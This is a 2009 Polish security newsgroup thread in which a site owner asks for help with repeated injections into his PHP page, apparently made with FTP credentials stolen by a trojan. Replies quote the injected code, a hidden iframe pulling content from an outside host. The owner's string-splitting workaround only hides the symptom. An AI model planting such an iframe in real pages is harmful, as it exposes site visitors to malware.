Thread View: pl.comp.security
7 messages
7 total messages
Started by Peter
Sun, 19 Jul 2009 18:06
powtarzające się ataki na stronę www
Author: Peter
Date: Sun, 19 Jul 2009 18:06
Date: Sun, 19 Jul 2009 18:06
33 lines
2298 bytes
2298 bytes
Witam wszystkich forumowiczów. Poszukuję osób które miały ataki na strony www poprzez dopisanie po <body> następującej linii: ......u0b.in:8080/ts/in.cgi?pepsi104" ...... Nie znalazłem w internecie informacji na podobny temat. Mój problem polega na tym, że mimo zainstalowanych programów antywirusowych, codziennego skanowania dysków ciągłej zmiany haseł pojawiają się ataki co kilka dni. Korzystam z FileZilla i login oraz hasło wpisuje z palca. po każdym ataku zmieniam zainfekowane pliki i hasło. Program nod32 zgłasza mi ataki na komputer oraz poddaje pliki kwarantannie, ale odnoszę wrażenie, że najpierw trojan "robi swoje" a potem jest unieszkodliwiany. Może ktoś z Was spotkał się z takim problemem. Będę wdzięczny za każdą podpowiedź. Na dzień dzisiejszy musiałem sobie poradzić tak: $mmm="<b"; $mmm.="o"; $mmm.="d"; $mmm.="y>"; echo $mmm; $trick="<body>"; W wyniku ataku modyfikowana jest zmienna $trick. Jednak nie jest ona drukowana więc kod wynikowy nie zawiera kodu wirusa. Co można zrobić więcej ? Pozdrawiam Piotr
Re: powtarzaj�ce si� ataki na stron� www
Author: Lemat
Date: Sun, 19 Jul 2009 20:11
Date: Sun, 19 Jul 2009 20:11
23 lines
1765 bytes
1765 bytes
Peter wrote: > Witam wszystkich forumowiczów. > > Poszukuję osób które miały ataki na strony www poprzez dopisanie po > <body> następującej linii: > > ......u0b.in:8080/ts/in.cgi?pepsi104" ...... > > Nie znalazłem w internecie informacji na podobny temat. Mój problem > polega na tym, że mimo zainstalowanych programów antywirusowych, > codziennego skanowania dysków ciągłej zmiany haseł na serwerze czy na komputerze domowym? > Co można zrobić więcej ? sprawdzić serwer - obejrzeć po prostu logi systemowe - niech ci to zrobi jakaś kompetentna osoba. -- Pozdrawiam Lemat
Re: powtarzaj�ce si� ataki na stron� www
Author: Jan Strybyszewski
Date: Mon, 20 Jul 2009 09:48
Date: Mon, 20 Jul 2009 09:48
12 lines
1732 bytes
1732 bytes
> sprawdzić serwer - obejrzeć po prostu logi systemowe - niech ci to zrobi > jakaś kompetentna osoba. Wyglada to na atak na wordpressa lub jakis inny blogowy silnik .. dopisuje do plikow php taka linijke jak ta ponizej. <iframe src="http://u0b.in:8080/ts/in.cgi?pepsi104" <iframe src = "http://u0b.in:8080/ts/in.cgi?pepsi104" width=125 height=125 style="visibility: hidden"></iframe> width = 125 height = 125 style = "visibility: hidden"> </ iframe>
Re: powtarzające się ataki na stronę www
Author: Łukasz Czerpak
Date: Mon, 20 Jul 2009 10:57
Date: Mon, 20 Jul 2009 10:57
28 lines
2486 bytes
2486 bytes
Peter pisze: > Witam wszystkich forumowiczów. > > Poszukuję osób które miały ataki na strony www poprzez dopisanie po > <body> następującej linii: > > ......u0b.in:8080/ts/in.cgi?pepsi104" ...... > > Nie znalazłem w internecie informacji na podobny temat. Mój problem > polega na tym, że mimo zainstalowanych programów antywirusowych, > codziennego skanowania dysków ciągłej zmiany haseł pojawiają się ataki > co kilka dni. Korzystam z FileZilla i login oraz hasło wpisuje z > palca. po każdym ataku zmieniam zainfekowane pliki i hasło. Program > nod32 zgłasza mi ataki na komputer oraz poddaje pliki kwarantannie, > ale odnoszę wrażenie, że najpierw trojan "robi swoje" a potem jest > unieszkodliwiany. Może ktoś z Was spotkał się z takim problemem. Będę > wdzięczny za każdą podpowiedź. Kiedyś znajomy notorycznie miał problemy ze stronami, do których "doklejały się" kody javascript przekierowujące na inne strony ze złośliwym kodem. Modyfikacja dokonywana była przez FTP na serwerze - różne ip rozlokowane geograficznie zupełnie losowo. Okazało się, że znajomy miał jakiegoś trojana na swoim kompie, który wykradał hasła. Po wyleczeniu komputera wszystko wróciło do normy. -- pozdrawiam, lukes
Re: Re: powtarzaj�ce si� ataki na stron� www
Author: Lemat
Date: Mon, 20 Jul 2009 11:10
Date: Mon, 20 Jul 2009 11:10
25 lines
2156 bytes
2156 bytes
Jan Strybyszewski wrote: > >> sprawdzić serwer - obejrzeć po prostu logi systemowe - niech ci to zrobi >> jakaś kompetentna osoba. > > Wyglada to na atak na wordpressa lub jakis inny blogowy silnik .. > dopisuje do plikow php taka linijke jak ta ponizej. > > > <iframe src="http://u0b.in:8080/ts/in.cgi?pepsi104" <iframe src = > "http://u0b.in:8080/ts/in.cgi?pepsi104" > width=125 height=125 style="visibility: hidden"></iframe> width = 125 > height = 125 style = "visibility: hidden"> </ iframe> Ja też wyglądam jakbym był piękny i bogaty a w rzeczywistości jestem złośliwym gnomem... Istotne są logi serwera ftp, ssh i www, Mniej istotne są logi crona. Jeżeli autor wątku nie umie czytać logów to musi wynająć kogoś, kto to potrafi. Jeżeli np. logi zostały skasowane to jest to już poważny problem na serwerze i trzeba by go solidnie wyklepać młotkiem. -- Pozdrawiam Lemat
Re: powtarzaj ce si ataki na stron www
Author: Peter
Date: Tue, 21 Jul 2009 13:57
Date: Tue, 21 Jul 2009 13:57
16 lines
1836 bytes
1836 bytes
> Istotne są logi serwera ftp, ssh i www, Mniej istotne są logi crona. Jeżeli > autor wątku nie umie czytać logów to musi wynająć kogoś, kto to potrafi. > Jeżeli np. logi zostały skasowane to jest to już poważny problem na serwerze > i trzeba by go solidnie wyklepać młotkiem. > -- > Pozdrawiam > Lemat Serwer w home.pl na serwerze tylko jedna strona w php. Z logów wynika, że zalogowano się z mojego konta. Dlatego własnie skierowałem się w kierunku trojanów których jednak nic nie wykrywa. Piotr
Re: powtarzaj ce si ataki na stron www
Author: Kamil Konieczny
Date: Wed, 22 Jul 2009 11:51
Date: Wed, 22 Jul 2009 11:51
16 lines
1919 bytes
1919 bytes
On 21 Lip, 15:57, Peter <m_...@interia.pl> wrote: > >[...] > Serwer w home.pl na serwerze tylko jedna strona w php. Z logów wynika, > że zalogowano się z mojego konta. Dlatego własnie skierowałem się w > kierunku trojanów których jednak nic nie wykrywa. czy z Twojego numeru ip ? wykrycie nowego trojana to temat rzeka ... zalezy od systemu operacyjnego (Linux, winXP, inny ?) dostepnych narzedzi i stosowanych procedur (umozliwiajacych wykrycie zmian w systemie niestety zwykle po fakcie) pozdrawiam, Kamil Konieczny
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads